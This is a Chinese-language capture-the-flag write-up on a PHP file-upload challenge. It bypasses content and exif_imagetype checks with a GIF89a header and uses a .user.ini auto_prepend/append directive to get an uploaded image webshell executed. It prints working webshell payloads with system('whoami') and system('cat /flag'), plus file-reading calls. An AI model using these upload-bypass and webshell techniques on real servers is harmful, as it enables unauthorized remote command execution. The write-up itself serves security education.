打开环境,是一个文件上传的题:
先上传一个php的txt文件,提示<? in content!,意思是文件内容包含<?,即<?被过滤。
再试试上传jpg的php木马,显示exif_imagetype:not image!
此处用exif_imagetype函数来检查是否是图片格式,和其他白名单一样,也能用文件头设置为GIF89A的方法绕过
那就试着上传一个头部GIF89A,js木马的txt文件:
成功上传,尝试访问上传的文件的地址或用工具链接都没有成功,说明上传的文件没有被解析,怎么办呢?
这时候就需要知道一个新的知识了,那就是.user.ini。
.user.ini,它会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。.user.ini比.htaccess用的更广,不管是nginx/Apache/IIS,只要是以fastcgi运行的php都可以用这个办法。如果使用Apache,则用.htaccess文件有同样的效果。
注意:.htaccess只能用于Apache。
在php.ini中,有两个新的INI指令
; Name for user-defined php.ini (.htaccess) files. Default is ".user.ini"
; 用户自定义的php.ini文件的名字,默认是.user.ini
user_ini.filename = ".user.ini"
; TTL for user-defined php.ini files (time-to-live) in seconds. Default is 300 seconds (5 minutes)
; 重新读取用户INI文件的时间间隔,默认是300秒(5分钟)
user_ini.cache_ttl = 300
大致意思是:我们指定一个文件(如,xxx.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./xxx.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用exit()时该设置无效)。
利用方法:
可以上传一个这样的.user.ini
auto_prepend_file = xxx.jpg
然后再上传一个图片马xxx.jpg
<script language='php'>system('whoami');</script>
如果在上传目录中还有一个可执行的php文件,访问php文件,就达到了执行系统命令的效果。
总结一下:上传目录中有一个可执行的php文件,我们先上传一个.user.ini文件,这个文件的内容为auto_prepend_file=xxx.jpg。起到的作用相当于在可执行的php文件前插入图片马中的内容。然后图片马中的恶意代码也会被当做PHP解析。
所以此题只需在上传js木马之前上传.user.ini文件,
其内容为:
GIF89a
auto_append_file=js木马.txt
再上传js木马.txt:
1然后就可以通过工具链接文件位置/index.php(在php文件中才能包含.uer.ini),在根目录下找答案,
2或扫描根目录:a=var_dump(scandir("/"));,我们可以可以看见一个叫flag的文件,打印:a=var_dump(file_get_contents("/flag"));或传参a=system('cat /flag');(因为木马中默认语言为php,所以可以直接执行phpinfo();
当用cat命令时,因为是系统命令,就要用system函数)
3或在js木马中直接添加cat/ flag的命令:<script language='php'>system('cat /flag');</script>